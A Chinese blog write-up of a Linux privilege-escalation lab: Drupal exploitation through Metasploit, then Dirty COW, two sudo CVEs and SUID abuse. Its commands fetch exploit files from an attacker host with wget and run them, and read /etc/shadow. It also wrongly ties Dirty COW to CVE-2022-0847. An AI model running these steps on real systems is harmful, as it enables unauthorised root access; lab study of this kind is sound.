当前位置: 首页 > news >正文

【靶场】linux提权

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • Linux提权
    • 1.1 搭建靶场
    • 1.2 使用nmap扫描网段
    • 1.3 进一步扫描端口
    • 1.4 访问
    • 1.5 信息收集
    • 1.6 msf查找漏洞
    • 1.7 进入shell
    • 1.8 脏牛提权
      • 1.8.1查看内核版本
      • 1.8.2 上传脏牛脚本
        • 1.8.2.1 上脏牛脚本到kali
        • 1.8.2.2 生成下载链接
        • 1.8.2.3 进入tmp目录
        • 1.8.2.4 下载
      • 1.8.3 编译脚本
      • 1.8.4 执行脚本
      • 1.8.5总结
    • 1.9 sudo提权
      • 1.9.1 查看sudo版本
      • 1.9.2 漏洞检测
      • 1.9.3 CVE-2023-22809
        • 1.9.3.1 查看SUDO命令的版本
        • 1.9.3.2 生成下载链接
        • 1.9.3.3 下载
        • 1.9.3.4 给脚本文件给上最高权限
        • 1.9.3.5 执行
      • 1.9.4 CVE-2021-3156
        • 1.9.4.1 查看对方sudo版本
        • 1.9.4.2 新建文件夹
        • 1.9.4.3 上传文件
        • 1.9.4.4 下载文件
        • 1.9.4.5 编译脚本
        • 1.9.4.6 运行
        • 1.9.4.7 选择版本
    • 1.10 suid提权
      • 1.10.1 查看有suid权限文件
      • 1.10.2 找到可以提权的文件
      • 1.10.3 nmap命令的利用
      • 1.10.4 find命令的利用
      • 1.10.5 Vim命令的利用
      • 1.10.6 bash命令的利用
      • 1.10.7 less命令的利用
  • 总结


Linux提权

提示:以下是本篇文章正文内容,下面案例可供参考

1.1 搭建靶场

在这里插入图片描述

1.2 使用nmap扫描网段

思路:此时对于靶场的账号和密码还有靶场的IP地址,我们一无所知~~

目前已知的条件是该靶场部署在VMware虚拟环境中,那么该靶场的IP地址肯定是和我们的其他虚拟机的IP地址在同一个网段!因此我们可以使用kali系统中的nmap虚拟机的网段信息:
nmap -O 192.168.79.131/24

在这里插入图片描述
找到目标 192.168.79.187
在这里插入图片描述

1.3 进一步扫描端口

nmap 192.168.79.187 -p-

在这里插入图片描述

1.4 访问

访问80端口

在这里插入图片描述

访问1898端口
在这里插入图片描述

1.5 信息收集

确定靶场IP地址之后,仔细观察这个网站,发现该CMS的框架为:Drupal
在这里插入图片描述

1.6 msf查找漏洞

确定了靶场的框架之后,接下来可以在网上公开搜索该框架相应的漏洞:

Drupal 框架漏洞
也可以在MSF中以Drupal为关键词,利用search命令搜索相应的攻击模块:

cd /usr/share/etasploit-framework/
启动msf:msfconsole
msfconsole
search Drupal

在这里插入图片描述

选择漏洞模块逐个攻击利用(exploit/unix/webapp/drupal_drupalgeddon2模块可利用成功)

use 1

在这里插入图片描述
查看模块相应参数、设置参数,开始攻击

show options
set rhosts 192.168.79.187
set rport 1898
run

在这里插入图片描述

在这里插入图片描述
漏洞利用成功,建立会话!

1.7 进入shell

输入shell进入命令行;使用python命令进入交互式模式:

shell     --进入命令行python -c 'import pty; pty.spawn("/bin/bash")'      --进入交互式命令行

在这里插入图片描述
查看当前用户
在这里插入图片描述

1.8 脏牛提权

什么是脏牛漏洞?

脏牛漏洞是一种存在于linux操作系统中的本地提权漏洞,分为1.0和2.0版本,当Linux系统内核版本高于4.8以上时,使用脏牛2.0
—CVE-2022-0847

原理:当一个进程正在尝试修改其映射的只读内存页面时,另一个进程也在同时访问这个页面。在这种情况下,内核可能会出现一种竞争条件,导致两个进程都能看到对方的修改,甚至可能覆盖对方的数据。这就为攻击者提供了机会,使其能够在没有权限限制的情况下,通过构造特殊的操作序列,使正在运行的程序以更高的权限执行命令,从而达到提权的效果。
使用脏牛漏洞提升权限

思路:既然脏牛漏洞和Linux系统内核版本有关,那么我们就要使用命令查看对方内核版本

1.8.1查看内核版本

查看内核版本:

uname -a

在这里插入图片描述
查看到目标系统内核为4.8以下,所以我们选择脏牛1.0的脚本工具 (Dirty.cpp)

​确定了使用什么脚本,那么接下来就是把脚本上传到目标机器上去!

思路:
直接使用XFTP是没有办法直接上传的,但是我们可以将脏牛脚本上传到kali的网站上面,然后用靶机去kali网站下载脚本。同时为了避免linux系统权限限制,我们选择在/tmp(Linux临时文件夹)去进行这些操作:

1.8.2 上传脏牛脚本

使用XFTP将脏牛脚本上传到kali的网站:(kali的apache配置文件路径为/var/www/html)

1.8.2.1 上脏牛脚本到kali

把脏牛脚本上传到kali的apche目录下
在这里插入图片描述

1.8.2.2 生成下载链接

使用棱镜

https://forum.ywhack.com/bountytips.php?download

生成从kali下载脏牛脚本的链接

wget http://192.168.79.131:80/Dirty.cpp -O Dirty.cpp
1.8.2.3 进入tmp目录

因为tmp目录权限拉满最好是进入tmp目录下载
在这里插入图片描述

cd /tmp   
1.8.2.4 下载

在反弹shell窗口执行

wget http://192.168.79.131:80/Dirty.cpp -O Dirty.cpp
或
curl http://192.168.79.131:80/Dirty.cpp -o Dirty.cpp

在这里插入图片描述

下载成功

1.8.3 编译脚本

.ccp的文件在Linux系统中无法直接利用,因此需要编译

 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow Dirty.cpp -lutil

命令注释:
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o dcow gcc生成的目标文件,名字为dcow

在这里插入图片描述

1.8.4 执行脚本

执行编译好的脚本文件:
./dcow -s

在这里插入图片描述
在这里插入图片描述
执行成功当前命令提示符发生变化有www-data变为root

1.8.5总结

如果可以避免,请不要使用内核漏洞提权。 如果使用它,可能会使计算机崩溃或使其处于不稳定状态。因此,内核漏洞利用应该是最后的手段。
1.远程主机可能会崩溃,因为许多公开可用的内核漏洞利用都不十分稳定。
2.您可能会成为root用户,然后使系统崩溃。
3.漏洞利用可能会留下痕迹/日志。

1.9 sudo提权

sudo 允许系统管理员将权限委托给某些用户(或用户组),能够以root用户或其他用户身份运行部分(或全部)命令。
sudo的提权原理是通过配置文件(/etc/sudoers)来授权,这个文件定义了那些用户可以使用sudo,以及可以执行哪些命令和以哪个用户的身份执行;sudo命令在执行过程中会读取这个配置文件,如果说sudoers这个配置文件有误或者被篡改,就会导致一些普通用户能够以root身份执行命令导致危害!

漏洞影响版本 Sudo 1.8.2 - 1.8.31p2 Sudo 1.9.0 - 1.9.5p1 不受影响版本:sudo
=>1.9.5p2

漏洞检测 查看sudo版本

1.9.1 查看sudo版本

sudo --version

1.9.2 漏洞检测

检测是否存在漏洞,使用普通用户执行下面的命

sudoedit -s / 若返回如图以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。 不受影响的系统将显示以“ usage:”开头的错误

sudoedit -s

sudo提权我就演示两个编号的漏洞:CVE-2023-22809和CVE-2021-3156

1.9.3 CVE-2023-22809

漏洞影响版本 Sudo 1.8.2 - 1.8.31p2 Sudo 1.9.0 - 1.9.5p1
不受影响版本:sudo 1.9.5p2

所以我们如果想利用这个漏洞,还得根据目标服务器的sudo命令的版本

1.9.3.1 查看SUDO命令的版本
sudo -V
或
sudo --version

在这里插入图片描述

1.9.3.2 生成下载链接

把SUDO-EXP.sh上传,然后生成下载连接

wget http://192.168.79.131:80/SUDO-EXP.sh -O SUDO-EXP.sh
1.9.3.3 下载

在这里插入图片描述

cd /tmp
wget http://192.168.79.131:80/SUDO-EXP.sh -O SUDO-EXP.sh

在这里插入图片描述

1.9.3.4 给脚本文件给上最高权限

给脚本文件给上最高权限:777

chmod 777 SUDO-EXP.sh

在这里插入图片描述

1.9.3.5 执行

然后利用bash命令或者直接./执行

./SUDO-EXP.sh

利用成功的情况下是会弹出如下图需要确认的命令行,输入“y”确认之后会成功提权到root权限
在这里插入图片描述

成功拿到root

1.9.4 CVE-2021-3156

这个漏洞被披露于2021年1月26日。漏洞的载体是我们常用的sudo命令。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。

漏洞影响版本:

sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1

具体利用步骤也是类似的:

1.9.4.1 查看对方sudo版本

拿到对方webshell之后,进入命令行,首先查看目标Linux服务器的的SUDO命令的版本

sudo -V

在这里插入图片描述

1.9.4.2 新建文件夹

切换到/tmp目录,在/tmp目录新建一个文件夹并进入新建的文件夹中

cd /tmp
mkdir 1
cd 1

在这里插入图片描述

1.9.4.3 上传文件

把脚本上传到kali机中
在这里插入图片描述

1.9.4.4 下载文件
wget http://192.168.79.131:80/CVE-2021-3156-main/brute.sh -O brute.sh
wget http://192.168.79.131:80/CVE-2021-3156-main/hax.c -O hax.c
wget http://192.168.79.131:80/CVE-2021-3156-main/lib.c -O lib.c
wget http://192.168.79.131:80/CVE-2021-3156-main/Makefile -O Makefile 

在这里插入图片描述

1.9.4.5 编译脚本
make

在这里插入图片描述

1.9.4.6 运行
./sudo-hax-me-a-sandwich

运行完成之后得到下图,然后根据对于的系统版本选择工具。

在这里插入图片描述

1.9.4.7 选择版本

前面已经得知我们的sudo命令版本。所以我们输入命令运行脚本后面接上对应的数字即可。

./sudo-hax-me-a-sandwich 0

在这里插入图片描述
成功拿到root

1.10 suid提权

SUID是什么?
是一种特殊权限,设置了SUID的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限。
例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。

为什么要给Linux二进制文件设置这种权限呢?
例如,程序ping命令其实是需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,所以这时root账户给ping命令设置一个SUID权限,那么所有的普通用户在执行这个命令的时候,都会暂时拥有root账户的权限(相当于古代皇帝给将军的虎符,手持虎符就可以调用军队)攻击者可以利用这个SUID权限来达到执行root权限的目的。
SUID权限详解:https://blog.51cto.com/rachy/1882559

1.10.1 查看有suid权限文件

首先在本地查找符合条件的文件,有以下三个命令,哪个都可以

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

在这里插入图片描述

1.10.2 找到可以提权的文件

一般常用于SUID提权的文件有: Nmap

Vim

find

Bash

More

Less

Nano

cp

那为什么只有这些命令和文件可以?其他的文件能不能用呢?
其实这个问题很简单,就是我们在使用除了以上这些命令的时候,其他的一些命令没有额外的功能和操作去提供给你。即使他拥有SUID权限,你也不能用它去自定义的做一些事情和操作,所以说他不是不能用,而是用的时候对提权没有任何帮助。

1.10.3 nmap命令的利用

较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。)

可以使用下命令进入nmap交互模式

nmap --interactive

执行命令后会返回一个shell

接着输入:!sh

即可提权为root

1.10.4 find命令的利用

如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行

touch testfind test -exec whoami \;find test -exec useradd bbb \;

1.10.5 Vim命令的利用

Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件

vim /etc/shadowvim /etc/passwd

1.10.6 bash命令的利用

当发现bash文件可以利用时,可直接使用命令:

bash -p

此时可以直接弹出交互式命令行以root的身份去执行一些操作了

1.10.7 less命令的利用

发现less命令具有SUID权限时,可直接使用命令:

less /etc/passwd!/bin/sh

其他命令的利用:https://pentestlab.blog/2017/09/25/suid-executables/

SUID提权不一定能够成功,得结合对方操作系统的版本和内核去做具体的操作。

在实际的工作中我们也只能慢慢的去试。

总结

这些提权方式的遇到是需要运气的,除了脏牛漏洞还可以利用SUID的去提升权限,然后利用搜索命令去试着找一些具有SUID的文件就好了。

本文主要为了记录网络安全学习,维护网络安全靠大家

http://www.dtcms.com/a/536303.html

相关文章:

  • 网站优化总结报告技术类网站模板
  • 衡水网站开发报价怎么利用自媒体做网站优化
  • 深析Springboot之自动配置
  • 基于大数据的游戏数据可视化分析与推荐系统 Steam游戏 电子游戏 娱乐数据 Flask框架 selenium爬虫 协同过滤推荐算法 python✅
  • 网站建设对公司来说重要吗wordpress页脚插件
  • TDengine 数据函数 SIN 用户手册
  • 无人机多光谱在高山松地上生物量估测的研究应用进展
  • Spring Boot3零基础教程,Kafka 小结,笔记79
  • LiveQing视频推流点播流媒体功能-支持RTSP推流支持rtmp推流无人机rtmp推流无人机rtsp推流
  • 做化妆品代理在那些网站比较多江苏公司响应式网站建设报价
  • RAG文档切片新方案HiChunk:LLM重构RAG文档分块
  • mybatis的sql中,如果一个条件column=#{column},column的值为null时,会不会匹配出column is null 的记录
  • 购物商城系统搭建实战指南
  • 怎么做网站挣钱做一下网站收购废钢
  • 专业移动微网站建设玖玖建筑网
  • 无锡建行网站网站加速cdn
  • kafka使用-admin创建
  • 渗透测试中常见的网络端口
  • 超市进销存系统管理源码 超市管理系统源码
  • Python 文件常数引用
  • 钦州电商网站建设南京网络建站公司
  • TCP数据中转服务器/广播服务器(高并发TCP服务广播)winform.netcore(net8)
  • 实验室温湿度高精度采集与监控中心集中管理实施细则
  • set和map的封装(C++)
  • Python机器学习---7.实战案例:幸福指数分析
  • 大型网站建设淮安公司网站建设
  • 重庆简约型网站开发价格做教程网站资源放哪里有
  • axios封装实例
  • 日语学习-日语知识点小记-构建基础-JLPT-N3阶段-二阶段(8):阶段复习
  • RabbitMQ死信队列详解